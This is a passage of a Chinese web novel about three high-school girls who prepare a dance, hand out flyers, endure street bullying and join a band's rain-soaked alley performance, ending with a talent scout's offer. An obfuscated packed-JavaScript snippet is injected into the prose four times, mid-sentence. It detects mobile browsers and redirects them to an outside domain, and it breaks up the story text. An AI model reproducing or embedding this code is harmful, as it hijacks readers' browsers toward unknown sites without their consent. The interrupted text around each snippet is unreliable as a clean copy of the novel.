又或者“为什么不是你们按照我的想法去跳一支舞？” 然而，惠珠突然站起来，大声喊了一句。 “好点子！” “我喜欢这个设定。” 珍星还是第一次看见这样的惠珠，完全屏蔽掉外界的打扰，专心地在她本子上涂画。 人果然在自己擅长的事情上表现得格外有魅力吗？珍星想着，对着惠珠的本子露出钦佩的表情。 惠珠总被人嘲笑像猪蹄一样的手，此时却像灵活的画笔，完全没有停顿地在画本上画出了示意图。 明明只用了最简单的黑色铅笔在米白色话本上涂抹勾线，珍星却已经能看见成型的几帧画面。 棋盘碎掉，棋子变成拥抱在一起的真人，流下了泪水。 “好厉害。” 珍星直白地夸起来，而沉迷于玩她的头发的素熙也从背后伸出头来看惠珠画好的草图。 “好漂亮的画，而且很有风格。” 惠珠显然无法招架这种真心又不加修饰的赞美，低着头任由自己枯黄的头发挡住自己的脸。 “这、这还只是草图，不过，你们好像能看懂。” “这样、真是太好了。” 她用这样的对白表示自己的开心，和被认可的感谢。 “那今天我们先讨论到这里，周五可以请你们先跳一小节，我继续画设计图。” “周五，我们可以吗？” 素熙向珍星投来求助的眼神，没等珍星回答，她又自顾自提问。 “那还剩几天时间，话说，今天是周几来着？” 金老师要求下周表演初版，所以惠珠定下的时间也不算太紧迫，反正也是顺带要提前弄好的。 珍星想好这些后对着惠珠点了点头，然后才回答素熙的问题。 “今天是周二呢。” “周二，那还有三天，足够了。” “等一下，今天是周二！” 素熙的表情突变，随后拿出手机检查起现在的时间。 “怎么了？” “有要紧的事情吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644424|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 素熙放下手机，露出一点笑容。 “好像要完蛋了。” “还记得我上课跟你说，我是乐队的键盘手吗？” “我们今天，有表演，但时间好像快来不及了。” 惠珠跟着露出焦虑的表情，眼看素熙就要抱着她哭之时，珍星站出来阻止这份焦虑传播。 “但还没有迟到对吧。” “跟我走，我有车。” “珍星——你又要拯救我一次了吗？” 素熙跟在她身后，两眼放光，而珍星只是表现得不急，实际上脚步快得要飞起来。 跟在最后面的惠珠差点追不上两个人。 “这就是你的车？” 素熙需要紧紧捂住自己的嘴巴才能忍住不笑，看见珍星胸有成竹说出口的交通工具，后跟着来的惠珠也低着头小声地笑起来。 “喂！哪里好笑了，这个很快的。” “素熙你不要笑了，你先告诉我地址。” “还有惠珠，我这里有多的车，你就骑这一辆吧。” 珍星煞有介事地掏出两把钥匙，解开锁，放出了两辆——扭扭车。 没错，就是小孩子玩的那种，需要把两只脚放在脚踏上，靠着屁股扭动发力的扭扭车。 “这真的很快，我在釜山用这个，十分钟就到村子里的学校了。” 珍星倒不是特地在首尔买了这两辆车。 而是因为刚来学校试着在附近打工挣一点零用钱，结果商店倒闭了老板为了不给她薪水，于是给了她两辆扭扭车。 自那以后，珍星就没主动再去做过兼职，空闲时间用来练舞得到的提升也比两辆扭扭车好。 “可是，我的腿太长了，好像不够放。” 素熙抿着嘴，试图找一个正经理由拒绝珍星的“帮助”。 “可是......” 回过神来的珍星也意识到自己说了个怎样离谱的解决办法。 但刚刚她也是真的很着急，虽然表面上很冷静。 “好啦，我知道你是太爱我了。” “不过骑扭扭车过去，真的做不到呀。” 珍星傻傻地问：“那现在该怎么办，还来得及吗？” “其实还好啦，还有半个小时才到约定时间。” 素熙宽慰着珍星，沉默的惠珠默默从兜里掏出什么。 “那个......”她默默出声。 “我们不可以打车去吗？”半空中被风吹得一晃一晃的，是她手里绿色的钞票。 珍星沉浸在自己的愚蠢行为里，她试图用冰块脸掩饰自己，装作无事发生地从惠珠手里拿回钥匙，然后若无其事地把两台车锁回这片被废弃的车棚里。 “嗯，我觉得惠珠说得对，我们可以打车过去。” 素熙抱住珍星，撩开她的头发。 “我们珍星果然很害羞吧，没关系的，这样一点也不傻。” 素熙轻轻掐着她已经变成桃红色的耳朵，恶作剧般暴露她此刻的真实心情。 “这样很可爱啦。” 明明很丢脸才对吧，珍星推着她往前走，回头看见静静笑起来的惠珠。 算了，开心是好事。 “走吧，我请你们看表演！” 素熙跑回来拉着两个人的手往学校门口冲，像一只轻盈的小鸟。 珍星和她对视的瞬间哈哈笑起来，而作为旁观者的惠珠，无比清晰地知道，珍星会是素熙所依靠的大树。 那么，她自己呢？ 惠珠是渴望永远留住小鸟的天空，还是渴望永远留在树上的叶子？ 好像，她其实什么也不是。只是旁观者罢了。 14. 暴雨天 奇怪的是进入夏天的真正标志，并不是晴朗到刺眼的晴天，而是雨天。 下雨之前天空也必须要阴沉沉，密布乌云。 三个人从汽车里下脚的地方是一片广场，但比起上次跟着素熙去的东门大街，这里并不繁华，甚至称不上热闹。 “你们要在这里表演吗？” 素熙颇具仪式感地捂住珍星的眼睛，在惠珠的帮忙下将她带到了频频无奇的文化广场背面。 在一堵围墙后面，映入眼帘一片涂鸦。 巨大的人像，五颜六色的音符和一把暴走吉他，这是一种与芭蕾完全不一样的艺术。 珍星这么想，素熙从她身后站出来，不远处走过来几个人，朝着素熙的方向扔了一顶黑帽子。 “wegirls” 珍星念出来帽子上的logo标志，素熙开心地凑近让她看得更清楚。 “没错，这个就是我们乐队的名字。” 可是，珍星左右看了一圈。 “好像，没有太多人。” 这句话说得很委婉，实际上这根本就是一条无人经过的小巷子。 “所以我们刚刚已经出去发了好一阵的传单，素熙你故意偷懒是吧。” 与她的考虑完全不同，素熙的乐队朋友们十分大方甚至拿这件事情打趣迟到的素熙。 “没有！我真的已经十万火急地赶过来了。” “你看我们，脸上都是汗。” 自来熟的主唱姐姐挽住珍星的手，左一句可爱右一句kiyo，把小女生迷糊得找不着北。 等珍星回过神来的时候，她和惠珠已经被吉他手和贝斯手一人塞了一堆传单。 “欧尼！怎么能这样呢，我可是特地请珍星和惠珠来看表演的。” “多一个人多一份力量嘛。” “等会儿就公演了，要是还没有人，岂不是显得我们很没有气势。” “那我也去帮忙发。” “你都迟到了，快来排练一下先。” 在场最高的主唱队长拎住素熙的衣领子，像提溜小鸡仔一样，把她推到路边架好的设备。 “我可是打了好几份工才买到这种移动电源的，素熙你就赶快来尽情享用吧。” 珍星低着头偷偷笑起来，所以大家其实很担心演出效果的吧。 于是珍星主动靠近惠珠。 “我们去发传单吧，你可以吗？” 她想起惠珠内向的性格，也许她并不想做这个只是不好意思，于是悄悄伸手让惠珠把传单给自己。 哪知惠珠会错了意思，乖乖将头伸过来，虽然不理解珍星的意思，却还是什么都没说地将头放在她的手掌上。 “这样可以吗？” 惠珠轻轻歪着头。 “你的眼睛好漂亮。” 虽然内心感觉有些堂皇，但珍星表现得很自然，她并没有提醒惠珠理解错了自己的意思。 只是真诚地夸了一下她。 如果是素熙的话，一定会这样说的吧。 于是两个人就从另一个街口出去发传单了。 意想不到的是，这个口出去居然在一条地铁口通道，纷纷攘攘很多人经过。 珍星并没有直接漫无目的地开始发传单，略微思考过后，她又踮起脚凑在惠珠耳边嘱托。 “那个，我们等会儿挑着那些穿着比较新奇，或者颜色比较鲜艳的年轻孩子们发传单吧。” “她们肯定会喜欢这个的。” 来自于珍星短短两周的打工生涯，虽然最后的成果是两辆扭扭车。 但在识人方面，也有所长进。 惠珠并不是很喜欢为什么的人，于是听话点头，两个人稍微分开，守在地铁口外面。 “您好，附近有乐队演出，请来看一看吧。” “……” “你好，附近有乐队演出，请来——” “别挡在这里啊。” “你好，附近有——” “干嘛塞一团垃圾给我，你找死吗？” 很显然，惠珠的发传单行动并不顺利。 这对她是一个不小的打击，就像一只决定打开蚌壳的小蚌，立刻就被夺走了珍珠，蚌壳还被敲碎。 比起这些只是不感兴趣，着急赶路，因此说话语气比较冲的人，更恐怖的是，故意凑上来找茬的人。 “你为什么这么胖啊？” “乐队表演？我看是像你这样的，动物表演，才对吧。” 她想过放弃，在此之前她先一步向珍星投去求助的眼神。 被忽视了。 珍星似乎不打算帮助她。 惠珠于是又想，是她添麻烦了，是她的错。 她沉默着再次弯腰，再次重复宣传语录。 第一滴雨落在传单上时，惠珠因为低头太过没有看清人，将一位路人撞倒在地。 “对不起，对不起……” “对不起有什么用，我说你这种人干嘛要出现在大街上，真是挡路。” “滚开啊。” 被撞倒的是个红毛青年，一看就是个不好惹的。果然，说话也不怎么好听。 他刻意很大声地说话，渐渐地周围的人都走过来凑热闹，将他和惠珠包围起来。 第二滴雨落在发不出去的传单上时，惠珠看见了纸张上更多的雨点。 原来那不是雨，是她的眼泪。 害怕不安又羞耻的泪水。 她真想要逃走，可是聚拢起来的人越来越多，她像马戏团的大象被围观着。 红发男嘴里对她的不良词汇一个接一个蹦出来，惠珠却感到片刻耳鸣。 什么也听不见，什么也看不见。 世界陷入黑暗和静寂的时刻。 “让开……请让一下。” “呀！都给我让开，听不见人话吗？” 在这个时刻，刺破静寂发出声音的人，是刚刚对惠珠视而不见的珍星。 她推开那些挡路的人，拉住了惠珠的手，离开之前没有忘记握着惠珠的手给那个红发男一巴掌。 “明明是你自己弱不禁风，连我们女生的一巴掌都承受不住吧。” “银鱼一样细小的男人，可偏偏银鱼还比你有营养，如果我是你的话，早就去找地洞钻了。” 第三滴雨落下的时候，惠珠清楚地看见它滴在珍星的发尾上，可下一秒她的目光就移动到珍星的脸上。 她好像在对自己说些什么。 “我数到三，我们就跑，好吗？” “三！” 总是在体测环节跑最后一名的惠珠，居然甩开了身后犹如丧尸一般的人潮吗？ 撒丫子跑进狭窄的小巷子里，两个人才得到喘息的时间。 “别怕，大部分人只是看热闹，根本不会追上来。” “至于那个红毛家伙，他真的很弱。” 危险时刻相互依靠的两个人会因为这种恐惧引起身体里的一种兴奋激素。 这种激素会让人产生一种愉悦的荷尔蒙，短时间内会让人生出面前这个人的好感。 这就是有名的吊桥效应，然而珍星并没有心跳加速感到不自然，感到不自然的惠珠，虽然听见过载的心跳声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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砸在她身上的易拉罐骨碌碌滚出人群。 停在一个人的脚边。 “有谁，能救救我吗？” 惠珠想，也许这个人是上天听见她的祷告而派来的天使。 “哐当——” 可易拉罐只是被无情踢开，倒在地上的惠珠看见的是路人面无表情离开的声音。 似乎人总是这样扭曲，不敢光明正大地去恨伤害自己的人，更愿意将情感放在陌生人身上。 譬如那一刻记住那人制服上的铭牌。 “为什么不救救我呢，珍星。” 最后是路过的教导主任看见这一幕，赶走了其他人，惠珠才得到了暂时喘息的时间。 其实惠珠并不恨珍星，她没有帮助自己的义务，而几乎所有人，不是欺负她就是无视她。 珍星和其他人没有什么差别。 可为什么，珍星不能一直这样下去呢？ “我没有事，只是，下雨了不知道还会不会有人来看你们的演出。” 珍星更关心素熙的表演，她自己都没有意识到，言行举止里对素熙的在意。 只有惠珠发现了。 不仅仅是珍星的改变。 还有刚才黑伞下的素熙，并没有笑。 15. 雨中表演 天色尚早，所以下雨也没关系。 她们都还有时间等待，只是并非每个人都有站在原地等待天气放晴的机会。 “可是，我到点就得去上补习班了。” “还有我，晚上的兼职不能翘班。” 你一言我一语，就连帅气潇洒的主唱姐姐也面露难色，下一秒也会跟着说出一些提前结束的原因。 珍星作为旁观者，她心里却并不希望这样的表演无疾而终。 发传单时她仔细看了这张粉色海报，上面似乎是由四个人共同绘画的小标志，像素风的海报很想路过游戏店里那些有意思的小游戏。 这应该是一场很有意思的表演才对，不知道是谁的心里在这样想着。 可现实却是，大家面面相觑，似乎都在等对方说出那一句：“要不然今天先到这里吧，下次我们再来好了。” 没有人说话，因为她们都知道，彼此之间并没有那么悠闲。 错过这一次，下一次不知道又要等到什么时候。 算上素熙在内的四人乐队，居然凑不出一个完整的时间，每个人都没时间再等雨停了。 素熙看着巷口来来往往的人在伞下经过，突然说：“不然，我们就做一个雨天专题表演好了。” “你是让我们现在表演吗？” “可是......” 电吉他手有些为难地看着暴露在外的连接线，很担心这场不知道什么时候才会停下来的雨会弄坏她的接头。 “那就拔掉它。” 素熙突然表现得很有魄力，站在电子琴前率先敲下了琴键。 站在一旁的珍星和惠珠对视一眼，都从对方眼里看到了抱歉。 如果她们刚才在卖力一些宣传，会不会现在这条小巷就不会这样空荡了呢？ 其实这原本就是和她们无关的事情，她们是素熙邀请来的客人。 可是，却一定要做点什么才可以。 “一起来享受吧。” 素熙的发尾已经被打湿，雨水从她的眼尾留下来，她很适合当抒情MV主角，可眼尾朝上，大大的笑容又如此开朗。 其他人被她带动着发生改变。 不插电的电吉他仍就能发出声音，不过音质却和插电时非常不一样，区别跟化妆烟熏妆的酷女孩与卸妆后一张Babyface的一样。 原本张扬的曲风因此发生了转变，键盘发出的乐声转向旋律节拍，更柔和更轻盈。 贝斯手在雨天也因为宝贝这把好不容易考了满分恳请买给自己的贝斯，放下了贝斯，拿出了小沙锤，沙沙地为音乐增加质感。 “在这雨天，讨厌的小雨天。” 主唱姐姐开始进拍，唱出了十分符合当下的歌词。 “踩着春天的尾巴，骑在夏天的头上。” “潮湿又黏糊糊的，一点也不凉快的下雨天。” “IHATEYOU!” 吉他手在这句情绪宣泄的副歌句用极快的扫弦，带出少女的心境。 因为坏天气而没由来的坏情绪。 “我讨厌你！” 进入副歌部分的曲风骤然一变，变得狂野，急不可耐。 就像大家头顶聚拢的乌云，谁都知道这场雨不仅在短时间内无法停下来，甚至还能更糟糕地出现电闪雷鸣的现象。 “可是，我想要跳舞。” “我突然就想要跳、跳、跳舞。” 听见这句歌词的瞬间，珍星突然觉得，这一定是素熙写的歌词吧。 从这一拍开始进入欢快的曲风。 跟着摇晃身体的素熙，看向了屋檐下的珍星，她也跟随着主唱姐姐的节奏小声的唱着歌词。 “我想——跳舞——” “把身体一百八十度转成一片吐司，” “最好要加上牛奶。” 主唱姐姐的声音像掉进玻璃瓶里的玻璃球，清脆的声音并不尖锐，铛铛铛的质感仿佛寺庙定时震荡的钟声。 一言之，那是很爽快的声线。将阴沉的雨天也唱得很畅快。 珍星突然就想做点什么，心跳和被敲下的琴键一起律动着。 即使依旧无人经过这里，可她发自内心地想要做点什么。 可是她该做什么呢?她不会任何乐器，唱歌也是五音不全的行列。 主唱姐姐的表情以及生动，简直就是练习生级别的程度，一颦一笑都发散着青春女生的魅力。 眯眯眼笑起来的瞬间顶出来一个让人耳膜畅快的高音。 “let''sdancedance......” 素熙也跟着唱起来，如果不是手下的键盘还需要她继续操持。 她会立刻拥抱住珍星，但等她抬头看过去时，却发现珍星用力地奔向了惠珠。 她自己都没发现那瞬间弹错的音符有多么刺耳，当主唱姐姐回望她时，她才回过神。 惠珠更是错愕突然扑过来的珍星想做什么，她看见珍星朝自己伸出来的手。 “珍星......” 她不知说什么，只能伸出手，和对方温热手掌接触的瞬间，突然感觉掌心传来的疼痛。 她后知后觉方才被红毛欺负时，她摔在地上弄破了皮。 而珍星的手掌也只是与她接触了一秒，原来她真正的目的并不是惠珠。 而是向惠珠借力，以一种流畅丝滑的线路，转到巷子口。 “欢迎来到——wegirls——” 珍星张开双手，像马戏团的表演者出场对观众致敬，她加大的声音成功吓到了几个路人。 其中一个戴眼镜的中学生妹妹更是被她的突然出现吓倒在地。 下一秒，她那被雨水打湿的镜框前出现一只白净的手，她被拉着起来。 一头雾水之际，发现拉她起来的大姐姐借用她的力，在惯性作用下优雅旋转着身体。 所以，她不是马戏团的驯兽员，而是百老汇的唱跳表演家。 珍星拍着手跟随着身后的音乐声跳了起来。 路人们被她发疯般的行为吸引，珍星毫不见外地对着每个人都伸手，握住又放开，借由她们的力气进行芭蕾里的基本操作——永不停止的旋身。 而她对着聚拢而来的路人们又做了个舞前礼仪，仿佛自己身在某场名流舞会，跳进了巷子里。 大家随着她的身影向里看去。 “我想，跳、跳、跳舞——” 人们仿佛才发现这片巷子里有流淌的乐声，歌声终于穿过被麻木的耳膜进入了大脑。 “搞什么鬼，居然在这表演吗？” “下这么大的雨，这群小鬼。” 一位忙着送孩子去兴趣辅导班的母亲原本是在抱怨，太多人挡住了这条路，让她被迫停在原地。 狼狈跳起来想要看清楚里面究竟是什么情况。 看清之后，她的确骂骂咧咧对这群莫名出现的高中生门很是不满。 然而，她的孩子却突然大叫起来。 “妈，你干什么？” 这位母亲比她更大声地喊起来。 “让开，你们这帮疯子——” 突发情况的确吓到一部分人，她们为这位母亲让开路。 只见这位母亲气势汹汹冲过来，连珍星都被她的怒吼吓得跳错一个节拍。 “妈，你干嘛抢我的小提琴。” 跟着她跑进来的孩子正在谴责母亲的突发行为。 下一秒就看见自己这个平时总在念叨学音乐有屁用，对她拉小提琴十分鄙夷的母亲，流利地拉起了小提琴。 仅仅站在原地听一会就能跟上乐队的节奏。 “看我干什么，继续唱啊。” “既然是淋着雨也要表演的傻子们，那就傻到底！” 寥寥数语就能想象出这位母亲年轻时的英姿。 “我讨厌我是个傻傻的人——” “就像我讨厌这个下雨天——” 原本生活磨平她的棱角，但棱角像脸上的痘痘，突然就会不讲道理地蹦出来。 主唱姐姐是没有见过这种场面的，在小提琴阿姨加入后，路过的一群艺考生也不由分说地加入了进来。 小号、萨克斯、长笛...... 简直就是交响乐一般的配置，但好在，她们真的有写交响乐的谱子。 贝斯手和主唱会心一笑，拿出了书包里传单，原来背面就是一张现成的曲谱。 这绝对是这个小巷子有史以来人最多的一天。 在场的人犹如疯魔了一般，一部分人在演奏，另一部分人在跟着珍星群魔乱舞。 在这样时刻，她几乎忘记了那些芭蕾舞步，那些技巧，只是单纯随着音乐动起来。 而人群之中，显眼却沉默不动的人，是人群后面的惠珠。 珍星看不清楚她的表情，也猜不透她的心思。 可她向着惠珠走过去，又一次牵住她的手。 “我们一起跳舞吧，惠珠！” 掌心细微却裂开的伤口拉扯着惠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644426|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珠，一会儿她的注意力在眼前的珍星身上，一会儿她看见了远处的素熙在对自己笑。 她不喜欢运动，喜欢躺下，或者静静坐着。 她不喜欢自己这样臃肿的身材，连带着讨厌起气球。 可这雨天不知是谁的气球飞到了天空中，失去气球的人也许很伤心，惠珠却因此看见这些五颜六色的气球失了神。 透过一滴晶莹的雨，看见了拉着她跳舞的珍星。 惠珠知道，这不是她该靠近的人。 也许珍星只是因为素熙的缘故，才会这样对她。 可她还是，动起来了。 “我讨厌这样的雨天——” “于是，我突然想跳一支舞。” 不知道这首歌是什么时候结束的，只记得所有人突然停下来，如同听见某种召唤。 静谧的那一秒里，珍星听见身后穿破雨滴的呼唤。 “珍星呐——” 随后和奔跑声一同出现的是，雨后阳光下的彩虹。 素熙抱住了珍星，她快乐的声音，像小鸟，更像是划破云层出来的阳光。 珍星想，她永远也不会忘记这一幕了。 “这真的是一次，最棒的演出。” 珍星拉住了素熙的手，淡淡地出声。 素熙不用去看，也能想到她此刻的笑容。 和平常的珍星完全不一样的样子。 “我找到你了。”她不由得这么说。 “什么？”珍星却不明白她的意思。 素熙没有回答她，其实在汉江那个夜晚之后，她是一直想和珍星说清楚的。 她甚至幻想过，当她对珍星说出：“其实我就是因为你才转学来的”，说出这样的话，珍星一定会惊喜又开心。 而她会再一次描绘两人相遇的落日傍晚，在那之后，她一定会和珍星成为最好的朋友。 可是现在，她不想说这些。 她只想说：“我们要一直在一起。” “我不要和你分开。” 当路人被珍星的舞蹈吸引时，不远处的素熙也在虔诚地看着珍星。 素熙并不喜欢芭蕾，至少这份热爱她绝对比不上珍星。 可是，好美。 跳着舞的珍星，是世界上最美丽的少女。 正如歌词所写的那样，这一刻她想要好好跳舞。 热爱着芭蕾的珍星绝对不会放弃的东西就是舞蹈，所以素熙也会一直和她在一起跳舞。 这个时候的素熙乐观地畅想着，她和珍星一起在舞台上表演的未来。 可她不知道，因为喜爱而生出的情绪里，有着名为占有和不甘心的欲望。 某一天开始，她会时刻问自己，在珍星眼里，她和芭蕾哪个最重要？ 为什么不能选她。 明明在这个雨终于停下的夏天，在这个傍晚，珍星的回答是“好”。 “我们会一直在一块。” 珍星这样向她承诺了，但还是和过去无数相遇那样，忘记了吗？ 也许某个时空里的素熙并没有这样钻牛角尖，依旧是大家喜欢的那个无忧无虑的少女。 但一定不是这一个素熙，因为她在去找珍星和惠珠的路上时，并没有笑。 正如惠珠所看见的那样，黑伞下的素熙，根本就没有露出笑容。 她紧紧盯着珍星握住惠珠的手，正如刚才珍星朝着惠珠奔过去时牵住她手的那一秒。 素熙也不知道自己怎么了，她知道自己不该这么想。 可她还是止不住地想：珍星为什么要走向别人，为什么要拉住惠珠的手。 明明你，总是拒人于千里之外。 哪怕是我，也被你讨厌了很久，才被你接受。 你为什么，就这样轻易地对惠珠笑，邀请她一起跳舞呢？ 素熙不知道为什么自己会在意这些东西，用脑子好好想一想就知道很正常的行为。 她却没了大脑。 阳光之下，所有人都露出了满意的笑容。 可是，总有人在这样的阳光下感到晕眩，之前是珍星，现在却是由素熙感受到那股死亡般窒息。 可她笑得很开心，是珍星喜欢又讨厌的开朗，她一如既往这样笑，痛并快乐着享受那种纠结。 但素熙不会纠结太久，她很擅长解答数学题，也一定能解开此刻她对珍星那颗矛盾的心。 尽管无人知道，解开这道谜题之后，等着她们的也许并不是超级玛丽的金币，而是毁灭。 16. 许愿 下雨天的表演很痛快，在这种仿佛在与什么东西作对情况下做出的事情，是某一种人追逐的自由。 不过，回到现实的瞬间，大家面面相觑，发现对方都被淋成了落汤鸡的时候，更加爽快地是每个人的笑声。 “哈哈哈哈哈莫呀，你看看你那个样子。” “也太搞笑了。” 这样吸引人的表演，应当得到嘉奖，或者说得到命运的馈赠。 在素熙一行人收拾好东西离开的时候，巷口突然出现一位头戴墨镜，身穿黑色职业套装，一看就不是路人的女士。 “或许，你们有想成为练习生的打算吗？” 原来是传说中无处不在的星探。 除了惠珠之外的每个人都收到了名片，这样泛滥的行为让这位星探身上的神秘感衰退了很多。 更像是大卖场门口叫卖的服务生。 “哦莫！是大公司。” 主唱姐姐发出惊呼，比起其他人的一头雾水或者兴致缺缺。她显然对这些事情更加了解。 “如果有想法的话，就请按照名片上的地址来公司面试吧。” “你们的表演很棒。” 发出邀约后爽快转身离开的星探维持住了自己的风度。 珍星低头扫了一眼名片，然后将卡片放进衣服口袋里，并不在意。 但包括素熙在内的乐队少女们在主唱姐姐热情科普下，都认真地捏着卡片看起来。 “练习生？那是做什么的？” 素熙并不了解这个，嘴唇翘起可爱的弧度，眼睛睁得很圆。 这样具有求知欲的表情让主唱姐姐大展身手。 “那个啊，就是可以上电视成为明星，挣大钱还会被很多粉丝喜欢的......” “所以是一种职业吗？” “那需要练习多久呢？” “会花很多钱吗？那还能读书吗？” 大家按照自己关注的点提问，主唱姐姐一一接招。 “不考虑其他因素的话，是的，这是一种职业，但更重要的是发挥热爱和利用起你的青春年华，让人生中最好的时刻不被白白浪费呀少女们。” “练习多久取决于你有多优秀以及多受重视吧，要我说，我们几个要脸蛋有脸蛋，要才华有才华，很适合做这个。” “花钱？你们不知道吧，像这种大公司不仅不需要出练习费，反而会包下你的食宿，甚至会额外花钱来培训你。只要你足够厉害。” 主唱姐姐说得有些累了，珍星适时递给她一瓶水，正是下午惠珠给她和素熙的苏打水。 其他人并未注意这一幕，主唱姐姐也感激地咕咚喝下大半瓶。 只有素熙认真听讲的表情微妙地变了变，她的眼神聚焦在水瓶上，然后盯着珍星。 可惜珍星并未看见她的表情。 惠珠却看见了，其实当星探出现时，她就知道她应该默默离去。 因为接下来的这些，很显然都和她没有关系。 不过，手机里叮咚作响的消息声让她有了些事情做，她一边刷着帖子一边听大家说话。 “读书方面也不会担心，公司不会让大家辍学。” “总之，我觉得我们真的可以去试试，说不定我们真的能组成一支乐队出道。” 主唱姐姐又滔滔不绝地畅想了乐队出道一炮而红，坐收名利的伟大蓝图。 直到，珍星措不及防发出的一声喷嚏。 “阿其——” “抱歉，抱歉，只是有一点冷。” 珍星并不想打破气氛，但大家也趁机按下这个话题。 “让我先带你去我家喝一点姜汤吧，千万不要感冒珍星。” 素熙揽住她的肩膀，招呼上惠珠一起打算离开。 “那就先这样吧欧尼，我们要回学校了。” “素熙，你一定要来试试呀。” 主唱姐姐很明显对这件事情感兴趣，千方百计想拉着大家一起去那家娱乐公司面试。 “珍星不好奇这个吗？” “练习生，听起来很有意思诶。” 坐在出租车上素熙反而表现得兴致勃□□来，她询问着珍星的想法。 “这个吗，我没有考虑过。” 她慢慢地回答，但答语和缓慢语调形成鲜明对比，十分坚定。 “我没有考虑过芭蕾之外的选择。” “这样吗。” 素熙并没有再说下去，挽住她的小臂聊起了新的话题。 “我们明天去哪里编舞呢？” “要不要来我家，对了你现在身上很湿，先去我家换一件衣服再回去吧。” 素熙体贴地补充：“晚上我会把衣服洗好，而且会用熨斗把衣服烫平整带给我们珍星。” “惠珠也来喝一点姜汤好吗？” 素熙一边说一边打电话给了妈妈，知道她今晚又要加班后，她没和往常一样用略带沮丧的语气回复母亲，反而很爽快地接受了这件事。 挂断电话后，她继续向珍星建议起来。 “都到晚上了，要不然珍星直接和我一起睡觉吧。” “惠珠也一起来好吗？” “这会不会有些......”太麻烦了。 珍星的话还没有说完，素熙就用央求的眼神看着她。 素熙的声音依旧温柔好听，语气也仍然柔和，只是行为变得有些急迫。 “司机叔叔，麻烦你等会儿在目的地前面一条街停下来好吗？” 于是，三个人一起站在了长满了爬山虎的长街上，素熙高兴地领着人向台阶上走。 “我其实很早就这样期待和朋友们一起到家里玩。” “素熙，以前没有邀请过其他朋友吗？” 发问的人是惠珠，对她而言这样的进度，总觉得有些太快了。 她是被捎带上的，如果不是因为上午主动找到两个人为校园大赛而请求，下午到现在发生的事情里都不会有她。 “没有哦，只有你——你们。” 尽管素熙的眼睛看朝了珍星的方向。 但惠珠依旧感到了做梦一般，面对大家都称赞，大家都喜欢，对她也很好的素熙，面对这样的邀请如同登上了人们口中的天堂乐园。 可是觉得惴惴不安，说得再严重些，总觉得自己不配。 光是路灯下的影子都能让她感到扭曲，她巨大的影子与素熙和珍星细长的影子，根本就不是同类。 “这、这样吗？” “不要紧张，其实是我做了堂皇的事情，我应该更郑重地邀请你们。” 素熙面朝大家倒退着上台阶，自然又诚恳地说话。 “不过，现在是特殊时期，所以请原谅我吧。” 一阵风刮起她乌黑的头发，却像杨柳起舞，一张纯洁青春的脸上露出狡黠的笑意。 并不让人觉得油滑，反而觉得似雨后之夜高挂的皎洁明月。 一千个人眼里有一千种白月光。 素熙是那种教人念念不忘永远鲜活的类型。 于是，惠珠她又一次低下了头。 “可是这样......” 好想逃离，好想消失。 槲寄生虽然生命力顽强，可并不是适合阳光生长的植物。 在完美面前自惭形秽，是一种令人讨厌的情绪，让我觉得我是残缺品。 “可是，这样好像不太好。” “我还是先回学校吧。明天见，素熙。” 素熙真正想要留下的珍星，反而说出了这样决绝的话。 她似乎完全不在这种纠结又复杂的情绪中，事实上，也的确如此。 看着素熙跟惠珠说话的时候，她突然想起上次素熙说过自己来到这所学校就是了和惠珠成为朋友。 虽然很多时候都反应慢的她，这次却很有自觉地要留给她们独处空间，交流感情。 于是这样说完告别的话之后，珍星踮着脚尖一个灵动的转步，就变了方向，朝着学校的方向走去。 “好好玩哦。”她还没忘嘱托这一句。 “其实我才不是友情笨蛋吧。”觉得自己表现得自然又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644427|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和谐的珍星小声称赞着自己。 因为小时候在村子里和同龄女孩们一起玩之后总会得到，“珍星是友情笨蛋”这样的评价，导致她在和素熙成为朋友之后，极力想证明自己不是笨蛋。 为什么呢？ 因为她对素熙的感情很复杂，珍星意识到友情比自己想象中更加麻烦。 如果是一年级时期的自己，大概早就会因为这样，而说出绝交的话语。 可是，现在珍星觉得很好，素熙对她的情感没有浓烈到感觉不舒服的程度，但她本身的人格魅力却在引导自己朝着积极的方向活着。 “所以，我也希望你能开心。素熙。” 珍星觉得这样很好，她拥有一个朋友，这就很好了。 